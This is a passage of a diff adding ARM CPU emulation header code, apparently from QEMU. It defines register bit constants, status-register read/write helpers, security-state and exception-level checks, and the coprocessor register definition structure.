do_arm_semihosting(CPUARMState *env); + +static inline bool is_a64(CPUARMState *env) +{ + return env->aarch64; +} + +/* you can call this signal handler from your SIGBUS and SIGSEGV + signal handlers to inform the virtual CPU of exceptions. non zero + is returned if the signal was handled by the virtual CPU. */ +int cpu_arm_signal_handler(int host_signum, void *pinfo, + void *puc); +int arm_cpu_handle_mmu_fault(CPUState *cpu, vaddr address, int rw, + int mmu_idx); + +/** + * pmccntr_sync + * @env: CPUARMState + * + * Synchronises the counter in the PMCCNTR. This must always be called twice, + * once before any action that might affect the timer and again afterwards. + * The function is used to swap the state of the register if required. + * This only happens when not in user mode (!CONFIG_USER_ONLY) + */ +void pmccntr_sync(CPUARMState *env); + +/* SCTLR bit meanings. Several bits have been reused in newer + * versions of the architecture; in that case we define constants + * for both old and new bit meanings. Code which tests against those + * bits should probably check or otherwise arrange that the CPU + * is the architectural version it expects. + */ +#define SCTLR_M (1U << 0) +#define SCTLR_A (1U << 1) +#define SCTLR_C (1U << 2) +#define SCTLR_W (1U << 3) /* up to v6; RAO in v7 */ +#define SCTLR_SA (1U << 3) +#define SCTLR_P (1U << 4) /* up to v5; RAO in v6 and v7 */ +#define SCTLR_SA0 (1U << 4) /* v8 onward, AArch64 only */ +#define SCTLR_D (1U << 5) /* up to v5; RAO in v6 */ +#define SCTLR_CP15BEN (1U << 5) /* v7 onward */ +#define SCTLR_L (1U << 6) /* up to v5; RAO in v6 and v7; RAZ in v8 */ +#define SCTLR_B (1U << 7) /* up to v6; RAZ in v7 */ +#define SCTLR_ITD (1U << 7) /* v8 onward */ +#define SCTLR_S (1U << 8) /* up to v6; RAZ in v7 */ +#define SCTLR_SED (1U << 8) /* v8 onward */ +#define SCTLR_R (1U << 9) /* up to v6; RAZ in v7 */ +#define SCTLR_UMA (1U << 9) /* v8 onward, AArch64 only */ +#define SCTLR_F (1U << 10) /* up to v6 */ +#define SCTLR_SW (1U << 10) /* v7 onward */ +#define SCTLR_Z (1U << 11) +#define SCTLR_I (1U << 12) +#define SCTLR_V (1U << 13) +#define SCTLR_RR (1U << 14) /* up to v7 */ +#define SCTLR_DZE (1U << 14) /* v8 onward, AArch64 only */ +#define SCTLR_L4 (1U << 15) /* up to v6; RAZ in v7 */ +#define SCTLR_UCT (1U << 15) /* v8 onward, AArch64 only */ +#define SCTLR_DT (1U << 16) /* up to ??, RAO in v6 and v7 */ +#define SCTLR_nTWI (1U << 16) /* v8 onward */ +#define SCTLR_HA (1U << 17) +#define SCTLR_IT (1U << 18) /* up to ??, RAO in v6 and v7 */ +#define SCTLR_nTWE (1U << 18) /* v8 onward */ +#define SCTLR_WXN (1U << 19) +#define SCTLR_ST (1U << 20) /* up to ??, RAZ in v6 */ +#define SCTLR_UWXN (1U << 20) /* v7 onward */ +#define SCTLR_FI (1U << 21) +#define SCTLR_U (1U << 22) +#define SCTLR_XP (1U << 23) /* up to v6; v7 onward RAO */ +#define SCTLR_VE (1U << 24) /* up to v7 */ +#define SCTLR_E0E (1U << 24) /* v8 onward, AArch64 only */ +#define SCTLR_EE (1U << 25) +#define SCTLR_L2 (1U << 26) /* up to v6, RAZ in v7 */ +#define SCTLR_UCI (1U << 26) /* v8 onward, AArch64 only */ +#define SCTLR_NMFI (1U << 27) +#define SCTLR_TRE (1U << 28) +#define SCTLR_AFE (1U << 29) +#define SCTLR_TE (1U << 30) + +#define CPSR_M (0x1fU) +#define CPSR_T (1U << 5) +#define CPSR_F (1U << 6) +#define CPSR_I (1U << 7) +#define CPSR_A (1U << 8) +#define CPSR_E (1U << 9) +#define CPSR_IT_2_7 (0xfc00U) +#define CPSR_GE (0xfU << 16) +#define CPSR_IL (1U << 20) +/* Note that the RESERVED bits include bit 21, which is PSTATE_SS in + * an AArch64 SPSR but RES0 in AArch32 SPSR and CPSR. In QEMU we use + * env->uncached_cpsr bit 21 to store PSTATE.SS when executing in AArch32, + * where it is live state but not accessible to the AArch32 code. + */ +#define CPSR_RESERVED (0x7U << 21) +#define CPSR_J (1U << 24) +#define CPSR_IT_0_1 (3U << 25) +#define CPSR_Q (1U << 27) +#define CPSR_V (1U << 28) +#define CPSR_C (1U << 29) +#define CPSR_Z (1U << 30) +#define CPSR_N (1U << 31) +#define CPSR_NZCV (CPSR_N | CPSR_Z | CPSR_C | CPSR_V) +#define CPSR_AIF (CPSR_A | CPSR_I | CPSR_F) + +#define CPSR_IT (CPSR_IT_0_1 | CPSR_IT_2_7) +#define CACHED_CPSR_BITS (CPSR_T | CPSR_AIF | CPSR_GE | CPSR_IT | CPSR_Q \ + | CPSR_NZCV) +/* Bits writable in user mode. */ +#define CPSR_USER (CPSR_NZCV | CPSR_Q | CPSR_GE) +/* Execution state bits. MRS read as zero, MSR writes ignored. */ +#define CPSR_EXEC (CPSR_T | CPSR_IT | CPSR_J | CPSR_IL) +/* Mask of bits which may be set by exception return copying them from SPSR */ +#define CPSR_ERET_MASK (~CPSR_RESERVED) + +#define TTBCR_N (7U << 0) /* TTBCR.EAE==0 */ +#define TTBCR_T0SZ (7U << 0) /* TTBCR.EAE==1 */ +#define TTBCR_PD0 (1U << 4) +#define TTBCR_PD1 (1U << 5) +#define TTBCR_EPD0 (1U << 7) +#define TTBCR_IRGN0 (3U << 8) +#define TTBCR_ORGN0 (3U << 10) +#define TTBCR_SH0 (3U << 12) +#define TTBCR_T1SZ (3U << 16) +#define TTBCR_A1 (1U << 22) +#define TTBCR_EPD1 (1U << 23) +#define TTBCR_IRGN1 (3U << 24) +#define TTBCR_ORGN1 (3U << 26) +#define TTBCR_SH1 (1U << 28) +#define TTBCR_EAE (1U << 31) + +/* Bit definitions for ARMv8 SPSR (PSTATE) format. + * Only these are valid when in AArch64 mode; in + * AArch32 mode SPSRs are basically CPSR-format. + */ +#define PSTATE_SP (1U) +#define PSTATE_M (0xFU) +#define PSTATE_nRW (1U << 4) +#define PSTATE_F (1U << 6) +#define PSTATE_I (1U << 7) +#define PSTATE_A (1U << 8) +#define PSTATE_D (1U << 9) +#define PSTATE_IL (1U << 20) +#define PSTATE_SS (1U << 21) +#define PSTATE_V (1U << 28) +#define PSTATE_C (1U << 29) +#define PSTATE_Z (1U << 30) +#define PSTATE_N (1U << 31) +#define PSTATE_NZCV (PSTATE_N | PSTATE_Z | PSTATE_C | PSTATE_V) +#define PSTATE_DAIF (PSTATE_D | PSTATE_A | PSTATE_I | PSTATE_F) +#define CACHED_PSTATE_BITS (PSTATE_NZCV | PSTATE_DAIF) +/* Mode values for AArch64 */ +#define PSTATE_MODE_EL3h 13 +#define PSTATE_MODE_EL3t 12 +#define PSTATE_MODE_EL2h 9 +#define PSTATE_MODE_EL2t 8 +#define PSTATE_MODE_EL1h 5 +#define PSTATE_MODE_EL1t 4 +#define PSTATE_MODE_EL0t 0 + +/* Map EL and handler into a PSTATE_MODE. */ +static inline unsigned int aarch64_pstate_mode(unsigned int el, bool handler) +{ + return (el << 2) | handler; +} + +/* Return the current PSTATE value. For the moment we don't support 32<->64 bit + * interprocessing, so we don't attempt to sync with the cpsr state used by + * the 32 bit decoder. + */ +static inline uint32_t pstate_read(CPUARMState *env) +{ + int ZF; + + ZF = (env->ZF == 0); + return (env->NF & 0x80000000) | (ZF << 30) + | (env->CF << 29) | ((env->VF & 0x80000000) >> 3) + | env->pstate | env->daif; +} + +static inline void pstate_write(CPUARMState *env, uint32_t val) +{ + env->ZF = (~val) & PSTATE_Z; + env->NF = val; + env->CF = (val >> 29) & 1; + env->VF = (val << 3) & 0x80000000; + env->daif = val & PSTATE_DAIF; + env->pstate = val & ~CACHED_PSTATE_BITS; +} + +/* Return the current CPSR value. */ +uint32_t cpsr_read(CPUARMState *env); +/* Set the CPSR. Note that some bits of mask must be all-set or all-clear. */ +void cpsr_write(CPUARMState *env, uint32_t val, uint32_t mask); + +/* Return the current xPSR value. */ +static inline uint32_t xpsr_read(CPUARMState *env) +{ + int ZF; + ZF = (env->ZF == 0); + return (env->NF & 0x80000000) | (ZF << 30) + | (env->CF << 29) | ((env->VF & 0x80000000) >> 3) | (env->QF << 27) + | (env->thumb << 24) | ((env->condexec_bits & 3) << 25) + | ((env->condexec_bits & 0xfc) << 8) + | env->v7m.exception; +} + +/* Set the xPSR. Note that some bits of mask must be all-set or all-clear. */ +static inline void xpsr_write(CPUARMState *env, uint32_t val, uint32_t mask) +{ + if (mask & CPSR_NZCV) { + env->ZF = (~val) & CPSR_Z; + env->NF = val; + env->CF = (val >> 29) & 1; + env->VF = (val << 3) & 0x80000000; + } + if (mask & CPSR_Q) + env->QF = ((val & CPSR_Q) != 0); + if (mask & (1 << 24)) + env->thumb = ((val & (1 << 24)) != 0); + if (mask & CPSR_IT_0_1) { + env->condexec_bits &= ~3; + env->condexec_bits |= (val >> 25) & 3; + } + if (mask & CPSR_IT_2_7) { + env->condexec_bits &= 3; + env->condexec_bits |= (val >> 8) & 0xfc; + } + if (mask & 0x1ff) { + env->v7m.exception = val & 0x1ff; + } +} + +#define HCR_VM (1ULL << 0) +#define HCR_SWIO (1ULL << 1) +#define HCR_PTW (1ULL << 2) +#define HCR_FMO (1ULL << 3) +#define HCR_IMO (1ULL << 4) +#define HCR_AMO (1ULL << 5) +#define HCR_VF (1ULL << 6) +#define HCR_VI (1ULL << 7) +#define HCR_VSE (1ULL << 8) +#define HCR_FB (1ULL << 9) +#define HCR_BSU_MASK (3ULL << 10) +#define HCR_DC (1ULL << 12) +#define HCR_TWI (1ULL << 13) +#define HCR_TWE (1ULL << 14) +#define HCR_TID0 (1ULL << 15) +#define HCR_TID1 (1ULL << 16) +#define HCR_TID2 (1ULL << 17) +#define HCR_TID3 (1ULL << 18) +#define HCR_TSC (1ULL << 19) +#define HCR_TIDCP (1ULL << 20) +#define HCR_TACR (1ULL << 21) +#define HCR_TSW (1ULL << 22) +#define HCR_TPC (1ULL << 23) +#define HCR_TPU (1ULL << 24) +#define HCR_TTLB (1ULL << 25) +#define HCR_TVM (1ULL << 26) +#define HCR_TGE (1ULL << 27) +#define HCR_TDZ (1ULL << 28) +#define HCR_HCD (1ULL << 29) +#define HCR_TRVM (1ULL << 30) +#define HCR_RW (1ULL << 31) +#define HCR_CD (1ULL << 32) +#define HCR_ID (1ULL << 33) +#define HCR_MASK ((1ULL << 34) - 1) + +#define SCR_NS (1U << 0) +#define SCR_IRQ (1U << 1) +#define SCR_FIQ (1U << 2) +#define SCR_EA (1U << 3) +#define SCR_FW (1U << 4) +#define SCR_AW (1U << 5) +#define SCR_NET (1U << 6) +#define SCR_SMD (1U << 7) +#define SCR_HCE (1U << 8) +#define SCR_SIF (1U << 9) +#define SCR_RW (1U << 10) +#define SCR_ST (1U << 11) +#define SCR_TWI (1U << 12) +#define SCR_TWE (1U << 13) +#define SCR_AARCH32_MASK (0x3fff & ~(SCR_RW | SCR_ST)) +#define SCR_AARCH64_MASK (0x3fff & ~SCR_NET) + +/* Return the current FPSCR value. */ +uint32_t vfp_get_fpscr(CPUARMState *env); +void vfp_set_fpscr(CPUARMState *env, uint32_t val); + +/* For A64 the FPSCR is split into two logically distinct registers, + * FPCR and FPSR. However since they still use non-overlapping bits + * we store the underlying state in fpscr and just mask on read/write. + */ +#define FPSR_MASK 0xf800009f +#define FPCR_MASK 0x07f79f00 +static inline uint32_t vfp_get_fpsr(CPUARMState *env) +{ + return vfp_get_fpscr(env) & FPSR_MASK; +} + +static inline void vfp_set_fpsr(CPUARMState *env, uint32_t val) +{ + uint32_t new_fpscr = (vfp_get_fpscr(env) & ~FPSR_MASK) | (val & FPSR_MASK); + vfp_set_fpscr(env, new_fpscr); +} + +static inline uint32_t vfp_get_fpcr(CPUARMState *env) +{ + return vfp_get_fpscr(env) & FPCR_MASK; +} + +static inline void vfp_set_fpcr(CPUARMState *env, uint32_t val) +{ + uint32_t new_fpscr = (vfp_get_fpscr(env) & ~FPCR_MASK) | (val & FPCR_MASK); + vfp_set_fpscr(env, new_fpscr); +} + +enum arm_cpu_mode { + ARM_CPU_MODE_USR = 0x10, + ARM_CPU_MODE_FIQ = 0x11, + ARM_CPU_MODE_IRQ = 0x12, + ARM_CPU_MODE_SVC = 0x13, + ARM_CPU_MODE_MON = 0x16, + ARM_CPU_MODE_ABT = 0x17, + ARM_CPU_MODE_HYP = 0x1a, + ARM_CPU_MODE_UND = 0x1b, + ARM_CPU_MODE_SYS = 0x1f +}; + +/* VFP system registers. */ +#define ARM_VFP_FPSID 0 +#define ARM_VFP_FPSCR 1 +#define ARM_VFP_MVFR2 5 +#define ARM_VFP_MVFR1 6 +#define ARM_VFP_MVFR0 7 +#define ARM_VFP_FPEXC 8 +#define ARM_VFP_FPINST 9 +#define ARM_VFP_FPINST2 10 + +/* iwMMXt coprocessor control registers. */ +#define ARM_IWMMXT_wCID 0 +#define ARM_IWMMXT_wCon 1 +#define ARM_IWMMXT_wCSSF 2 +#define ARM_IWMMXT_wCASF 3 +#define ARM_IWMMXT_wCGR0 8 +#define ARM_IWMMXT_wCGR1 9 +#define ARM_IWMMXT_wCGR2 10 +#define ARM_IWMMXT_wCGR3 11 + +/* If adding a feature bit which corresponds to a Linux ELF + * HWCAP bit, remember to update the feature-bit-to-hwcap + * mapping in linux-user/elfload.c:get_elf_hwcap(). + */ +enum arm_features { + ARM_FEATURE_VFP, + ARM_FEATURE_AUXCR, /* ARM1026 Auxiliary control register. */ + ARM_FEATURE_XSCALE, /* Intel XScale extensions. */ + ARM_FEATURE_IWMMXT, /* Intel iwMMXt extension. */ + ARM_FEATURE_V6, + ARM_FEATURE_V6K, + ARM_FEATURE_V7, + ARM_FEATURE_THUMB2, + ARM_FEATURE_MPU, /* Only has Memory Protection Unit, not full MMU. */ + ARM_FEATURE_VFP3, + ARM_FEATURE_VFP_FP16, + ARM_FEATURE_NEON, + ARM_FEATURE_THUMB_DIV, /* divide supported in Thumb encoding */ + ARM_FEATURE_M, /* Microcontroller profile. */ + ARM_FEATURE_OMAPCP, /* OMAP specific CP15 ops handling. */ + ARM_FEATURE_THUMB2EE, + ARM_FEATURE_V7MP, /* v7 Multiprocessing Extensions */ + ARM_FEATURE_V4T, + ARM_FEATURE_V5, + ARM_FEATURE_STRONGARM, + ARM_FEATURE_VAPA, /* cp15 VA to PA lookups */ + ARM_FEATURE_ARM_DIV, /* divide supported in ARM encoding */ + ARM_FEATURE_VFP4, /* VFPv4 (implies that NEON is v2) */ + ARM_FEATURE_GENERIC_TIMER, + ARM_FEATURE_MVFR, /* Media and VFP Feature Registers 0 and 1 */ + ARM_FEATURE_DUMMY_C15_REGS, /* RAZ/WI all of cp15 crn=15 */ + ARM_FEATURE_CACHE_TEST_CLEAN, /* 926/1026 style test-and-clean ops */ + ARM_FEATURE_CACHE_DIRTY_REG, /* 1136/1176 cache dirty status register */ + ARM_FEATURE_CACHE_BLOCK_OPS, /* v6 optional cache block operations */ + ARM_FEATURE_MPIDR, /* has cp15 MPIDR */ + ARM_FEATURE_PXN, /* has Privileged Execute Never bit */ + ARM_FEATURE_LPAE, /* has Large Physical Address Extension */ + ARM_FEATURE_V8, + ARM_FEATURE_AARCH64, /* supports 64 bit mode */ + ARM_FEATURE_V8_AES, /* implements AES part of v8 Crypto Extensions */ + ARM_FEATURE_CBAR, /* has cp15 CBAR */ + ARM_FEATURE_CRC, /* ARMv8 CRC instructions */ + ARM_FEATURE_CBAR_RO, /* has cp15 CBAR and it is read-only */ + ARM_FEATURE_EL2, /* has EL2 Virtualization support */ + ARM_FEATURE_EL3, /* has EL3 Secure monitor support */ + ARM_FEATURE_V8_SHA1, /* implements SHA1 part of v8 Crypto Extensions */ + ARM_FEATURE_V8_SHA256, /* implements SHA256 part of v8 Crypto Extensions */ + ARM_FEATURE_V8_PMULL, /* implements PMULL part of v8 Crypto Extensions */ +}; + +static inline int arm_feature(CPUARMState *env, int feature) +{ + return (env->features & (1ULL << feature)) != 0; +} + +#if !defined(CONFIG_USER_ONLY) +/* Return true if exception levels below EL3 are in secure state, + * or would be following an exception return to that level. + * Unlike arm_is_secure() (which is always a question about the + * _current_ state of the CPU) this doesn't care about the current + * EL or mode. + */ +static inline bool arm_is_secure_below_el3(CPUARMState *env) +{ + if (arm_feature(env, ARM_FEATURE_EL3)) { + return !(env->cp15.scr_el3 & SCR_NS); + } else { + /* If EL2 is not supported then the secure state is implementation + * defined, in which case QEMU defaults to non-secure. + */ + return false; + } +} + +/* Return true if the processor is in secure state */ +static inline bool arm_is_secure(CPUARMState *env) +{ + if (arm_feature(env, ARM_FEATURE_EL3)) { + if (is_a64(env) && extract32(env->pstate, 2, 2) == 3) { + /* CPU currently in AArch64 state and EL3 */ + return true; + } else if (!is_a64(env) && + (env->uncached_cpsr & CPSR_M) == ARM_CPU_MODE_MON) { + /* CPU currently in AArch32 state and monitor mode */ + return true; + } + } + return arm_is_secure_below_el3(env); +} + +#else +static inline bool arm_is_secure_below_el3(CPUARMState *env) +{ + return false; +} + +static inline bool arm_is_secure(CPUARMState *env) +{ + return false; +} +#endif + +/* Return true if the specified exception level is running in AArch64 state. */ +static inline bool arm_el_is_aa64(CPUARMState *env, int el) +{ + /* We don't currently support EL2, and this isn't valid for EL0 + * (if we're in EL0, is_a64() is what you want, and if we're not in EL0 + * then the state of EL0 isn't well defined.) + */ + assert(el == 1 || el == 3); + + /* AArch64-capable CPUs always run with EL1 in AArch64 mode. This + * is a QEMU-imposed simplification which we may wish to change later. + * If we in future support EL2 and/or EL3, then the state of lower + * exception levels is controlled by the HCR.RW and SCR.RW bits. + */ + return arm_feature(env, ARM_FEATURE_AARCH64); +} + +void arm_cpu_list(FILE *f, fprintf_function cpu_fprintf); +unsigned int arm_excp_target_el(CPUState *cs, unsigned int excp_idx); + +/* Interface between CPU and Interrupt controller. */ +void armv7m_nvic_set_pending(void *opaque, int irq); +int armv7m_nvic_acknowledge_irq(void *opaque); +void armv7m_nvic_complete_irq(void *opaque, int irq); + +/* Interface for defining coprocessor registers. + * Registers are defined in tables of arm_cp_reginfo structs + * which are passed to define_arm_cp_regs(). + */ + +/* When looking up a coprocessor register we look for it + * via an integer which encodes all of: + * coprocessor number + * Crn, Crm, opc1, opc2 fields + * 32 or 64 bit register (ie is it accessed via MRC/MCR + * or via MRRC/MCRR?) + * We allow 4 bits for opc1 because MRRC/MCRR have a 4 bit field. + * (In this case crn and opc2 should be zero.) + * For AArch64, there is no 32/64 bit size distinction; + * instead all registers have a 2 bit op0, 3 bit op1 and op2, + * and 4 bit CRn and CRm. The encoding patterns are chosen + * to be easy to convert to and from the KVM encodings, and also + * so that the hashtable can contain both AArch32 and AArch64 + * registers (to allow for interprocessing where we might run + * 32 bit code on a 64 bit core). + */ +/* This bit is private to our hashtable cpreg; in KVM register + * IDs the AArch64/32 distinction is the KVM_REG_ARM/ARM64 + * in the upper bits of the 64 bit ID. + */ +#define CP_REG_AA64_SHIFT 28 +#define CP_REG_AA64_MASK (1 << CP_REG_AA64_SHIFT) + +#define ENCODE_CP_REG(cp, is64, crn, crm, opc1, opc2) \ + (((cp) << 16) | ((is64) << 15) | ((crn) << 11) | \ + ((crm) << 7) | ((opc1) << 3) | (opc2)) + +#define ENCODE_AA64_CP_REG(cp, crn, crm, op0, op1, op2) \ + (CP_REG_AA64_MASK | \ + ((cp) << CP_REG_ARM_COPROC_SHIFT) | \ + ((op0) << CP_REG_ARM64_SYSREG_OP0_SHIFT) | \ + ((op1) << CP_REG_ARM64_SYSREG_OP1_SHIFT) | \ + ((crn) << CP_REG_ARM64_SYSREG_CRN_SHIFT) | \ + ((crm) << CP_REG_ARM64_SYSREG_CRM_SHIFT) | \ + ((op2) << CP_REG_ARM64_SYSREG_OP2_SHIFT)) + +/* Convert a full 64 bit KVM register ID to the truncated 32 bit + * version used as a key for the coprocessor register hashtable + */ +static inline uint32_t kvm_to_cpreg_id(uint64_t kvmid) +{ + uint32_t cpregid = kvmid; + if ((kvmid & CP_REG_ARCH_MASK) == CP_REG_ARM64) { + cpregid |= CP_REG_AA64_MASK; + } else if ((kvmid & CP_REG_SIZE_MASK) == CP_REG_SIZE_U64) { + cpregid |= (1 << 15); + } + return cpregid; +} + +/* Convert a truncated 32 bit hashtable key into the full + * 64 bit KVM register ID. + */ +static inline uint64_t cpreg_to_kvm_id(uint32_t cpregid) +{ + uint64_t kvmid; + + if (cpregid & CP_REG_AA64_MASK) { + kvmid = cpregid & ~CP_REG_AA64_MASK; + kvmid |= CP_REG_SIZE_U64 | CP_REG_ARM64; + } else { + kvmid = cpregid & ~(1 << 15); + if (cpregid & (1 << 15)) { + kvmid |= CP_REG_SIZE_U64 | CP_REG_ARM; + } else { + kvmid |= CP_REG_SIZE_U32 | CP_REG_ARM; + } + } + return kvmid; +} + +/* ARMCPRegInfo type field bits. If the SPECIAL bit is set this is a + * special-behaviour cp reg and bits [15..8] indicate what behaviour + * it has. Otherwise it is a simple cp reg, where CONST indicates that + * TCG can assume the value to be constant (ie load at translate time) + * and 64BIT indicates a 64 bit wide coprocessor register. SUPPRESS_TB_END + * indicates that the TB should not be ended after a write to this register + * (the default is that the TB ends after cp writes). OVERRIDE permits + * a register definition to override a previous definition for the + * same (cp, is64, crn, crm, opc1, opc2) tuple: either the new or the + * old must have the OVERRIDE bit set. + * NO_MIGRATE indicates that this register should be ignored for migration; + * (eg because any state is accessed via some other coprocessor register). + * IO indicates that this register does I/O and therefore its accesses + * need to be surrounded by gen_io_start()/gen_io_end(). In particular, + * registers which implement clocks or timers require this. + */ +#define ARM_CP_SPECIAL 1 +#define ARM_CP_CONST 2 +#define ARM_CP_64BIT 4 +#define ARM_CP_SUPPRESS_TB_END 8 +#define ARM_CP_OVERRIDE 16 +#define ARM_CP_NO_MIGRATE 32 +#define ARM_CP_IO 64 +#define ARM_CP_NOP (ARM_CP_SPECIAL | (1 << 8)) +#define ARM_CP_WFI (ARM_CP_SPECIAL | (2 << 8)) +#define ARM_CP_NZCV (ARM_CP_SPECIAL | (3 << 8)) +#define ARM_CP_CURRENTEL (ARM_CP_SPECIAL | (4 << 8)) +#define ARM_CP_DC_ZVA (ARM_CP_SPECIAL | (5 << 8)) +#define ARM_LAST_SPECIAL ARM_CP_DC_ZVA +/* Used only as a terminator for ARMCPRegInfo lists */ +#define ARM_CP_SENTINEL 0xffff +/* Mask of only the flag bits in a type field */ +#define ARM_CP_FLAG_MASK 0x7f + +/* Valid values for ARMCPRegInfo state field, indicating which of + * the AArch32 and AArch64 execution states this register is visible in. + * If the reginfo doesn't explicitly specify then it is AArch32 only. + * If the reginfo is declared to be visible in both states then a second + * reginfo is synthesised for the AArch32 view of the AArch64 register, + * such that the AArch32 view is the lower 32 bits of the AArch64 one. + * Note that we rely on the values of these enums as we iterate through + * the various states in some places. + */ +enum { + ARM_CP_STATE_AA32 = 0, + ARM_CP_STATE_AA64 = 1, + ARM_CP_STATE_BOTH = 2, +}; + +/* Return true if cptype is a valid type field. This is used to try to + * catch errors where the sentinel has been accidentally left off the end + * of a list of registers. + */ +static inline bool cptype_valid(int cptype) +{ + return ((cptype & ~ARM_CP_FLAG_MASK) == 0) + || ((cptype & ARM_CP_SPECIAL) && + ((cptype & ~ARM_CP_FLAG_MASK) <= ARM_LAST_SPECIAL)); +} + +/* Access rights: + * We define bits for Read and Write access for what rev C of the v7-AR ARM ARM + * defines as PL0 (user), PL1 (fiq/irq/svc/abt/und/sys, ie privileged), and + * PL2 (hyp). The other level which has Read and Write bits is Secure PL1 + * (ie any of the privileged modes in Secure state, or Monitor mode). + * If a register is accessible in one privilege level it's always accessible + * in higher privilege levels too. Since "Secure PL1" also follows this rule + * (ie anything visible in PL2 is visible in S-PL1, some things are only + * visible in S-PL1) but "Secure PL1" is a bit of a mouthful, we bend the + * terminology a little and call this PL3. + * In AArch64 things are somewhat simpler as the PLx bits line up exactly + * with the ELx exception levels. + * + * If access permissions for a register are more complex than can be + * described with these bits, then use a laxer set of restrictions, and + * do the more restrictive/complex check inside a helper function. + */ +#define PL3_R 0x80 +#define PL3_W 0x40 +#define PL2_R (0x20 | PL3_R) +#define PL2_W (0x10 | PL3_W) +#define PL1_R (0x08 | PL2_R) +#define PL1_W (0x04 | PL2_W) +#define PL0_R (0x02 | PL1_R) +#define PL0_W (0x01 | PL1_W) + +#define PL3_RW (PL3_R | PL3_W) +#define PL2_RW (PL2_R | PL2_W) +#define PL1_RW (PL1_R | PL1_W) +#define PL0_RW (PL0_R | PL0_W) + +/* Return the current Exception Level (as per ARMv8; note that this differs + * from the ARMv7 Privilege Level). + */ +static inline int arm_current_el(CPUARMState *env) +{ + if (is_a64(env)) { + return extract32(env->pstate, 2, 2); + } + + switch (env->uncached_cpsr & 0x1f) { + case ARM_CPU_MODE_USR: + return 0; + case ARM_CPU_MODE_HYP: + return 2; + case ARM_CPU_MODE_MON: + return 3; + default: + if (arm_is_secure(env) && !arm_el_is_aa64(env, 3)) { + /* If EL3 is 32-bit then all secure privileged modes run in + * EL3 + */ + return 3; + } + + return 1; + } +} + +typedef struct ARMCPRegInfo ARMCPRegInfo; + +typedef enum CPAccessResult { + /* Access is permitted */ + CP_ACCESS_OK = 0, + /* Access fails due to a configurable trap or enable which would + * result in a categorized exception syndrome giving information about + * the failing instruction (ie syndrome category 0x3, 0x4, 0x5, 0x6, + * 0xc or 0x18). + */ + CP_ACCESS_TRAP = 1, + /* Access fails and results in an exception syndrome 0x0 ("uncategorized"). + * Note that this is not a catch-all case -- the set of cases which may + * result in this failure is specifically defined by the architecture. + */ + CP_ACCESS_TRAP_UNCATEGORIZED = 2, +} CPAccessResult; + +/* Access functions for coprocessor registers. These cannot fail and + * may not raise exceptions. + */ +typedef uint64_t CPReadFn(CPUARMState *env, const ARMCPRegInfo *opaque); +typedef void CPWriteFn(CPUARMState *env, const ARMCPRegInfo *opaque, + uint64_t value); +/* Access permission check functions for coprocessor registers. */ +typedef CPAccessResult CPAccessFn(CPUARMState *env, const ARMCPRegInfo *opaque); +/* Hook function for register reset */ +typedef void CPResetFn(CPUARMState *env, const ARMCPRegInfo *opaque); + +#define CP_ANY 0xff + +/* Definition of an ARM coprocessor register */ +struct ARMCPRegInfo { + /* Name of register (useful mainly for debugging, need not be unique) */ + const char *name; + /* Location of register: coprocessor number and (crn,crm,opc1,opc2) + * tuple. Any of crm, opc1 and opc2 may be CP_ANY to indicate a + * 'wildcard' field -- any value of that field in the MRC/MCR insn + * will be decoded to this register. The register read and write + * callbacks will be passed an ARMCPRegInfo with the crn/crm/opc1/opc2 + * used by the program, so it is possible to register a wildcard and + * then behave differently on read/write if necessary. + * For 64 bit registers, only crm and opc1 are relevant; crn and opc2 + * must both be zero. + * For AArch64-visible registers, opc0 is also used. + * Since there are no "coprocessors" in AArch64, cp is purely used as a + * way to distinguish (for KVM's benefit) guest-visible system registers + * from demuxed ones provided to preserve the "no side effects on + * KVM register read/write from QEMU" semantics. cp==0x13 is guest + * visible (to match KVM's encoding); cp==0 will be converted to + * cp==0x13 when the ARMCPRegInfo is registered, for convenience. + */ + uint8_t cp; + uint8_t crn; + uint8_t crm; + uint8_t opc0; + uint8_t opc1; + uint8_t opc2; + /* Execution state in which this register is visible: ARM_CP_STATE_* */ + int state; + /* Register type: ARM_CP_* bits/values */ + int type; + /* Access rights: PL*_[RW] */ + int access; + /* The opaque pointer passed to define_arm_cp_regs_with_opaque() when + * this register was defined: can be used to hand data through to the + * register read/write functions, since they are passed the ARMCPRegInfo*. + */ + void *opaque; + /* Value of this register, if it is ARM_CP_CONST. Otherwise, if + * fieldoffset is non-zero, the reset value of the register. + */ + uint64_t resetvalue; + /* Offset of the field in CPUARMState for this register. This is not + * needed if either: + * 1. type is ARM_CP_CONST or one of the ARM_CP_SPECIALs + * 2. both readfn and writefn are specified + */ + ptrdiff_t fieldoffset; /* offsetof(CPUARMState, field) */ + /* Function for making any access checks for this register in addition to + * those specified by the 'access' permissions bits. If NULL, no extra + * checks required. The access check is performed at runtime, not at + * translate time. + */ + CPAccessFn *accessfn; + /* Function for handling reads of this register. If NULL, then reads + * will be done by loading from the offset into CPUARMState specified + * by fieldoffset. + */ + CPReadFn *readfn; + /* Function for handling writes of this register. If NULL, then writes + * will be done by writing to the offset into CPUARMState specified + * by fieldoffset. + */ + CPWriteFn *writefn; + /* Function for doing a "raw" read; used when we need to copy + * coprocessor state to the kernel for KVM or out for + * migration. This only needs to be provided if there is also a + * readfn and it has side effects (for instance clear-on-read bits). + */ + CPReadFn *raw_readfn; + /* Function for doing a "raw" write; used when we need to copy KVM + * kernel coprocessor state into userspace, or for inbound + * migration. This only needs to be provided if there is also a + * writefn and it masks out "unwritable" bits or has write-one-to-clear + * or similar behaviour. + */ + CPWriteFn *raw_writefn; + /* Function for resetting the register. If NULL, then reset will be done + * by writing resetvalue to the field specified in fieldoffset. If + * fieldoffset is 0 then no reset will be done. + */ + CPResetFn *resetfn; +}; + +/* Macros which are lvalues for the field in CPUARMState for the + * ARMCPRegInfo *ri. + */ +#define CPREG_FIELD32(env, ri) \ + (*(uint32_t *)((char *)(env) + (ri)->fieldoffset)) +#define CPREG_FIELD64(env, ri) \ + (*(uint64_t *)((char *)(env) + (ri)->fieldoffset)) + +#define REGINFO_SENTINEL { NULL, 0,0,0,0,0,0, 0, ARM_CP_SENTINEL, 0, NULL, 0,0,0,0,0,0,0,0, } + +void define_arm_cp_regs_with_opaque(ARMCPU *cpu, + const ARMCPRegInfo *regs, void *opaque); +void define_one_arm_cp_reg_with_opaque(ARMCPU *cpu, + const ARMCPRegInfo *regs, void *opaque); +static inline void define_arm_cp_regs(ARMCPU *cpu, const ARMCPRegInfo *regs) +{ + define_arm_cp_regs_with_opaque(cpu, regs, 0); +} +static inline void define_one_arm_cp_reg(ARMCPU *cpu, const ARMCPRegInfo *regs) +{ + define_one_arm_cp_reg_with_opaque(cpu, regs, 0); +} 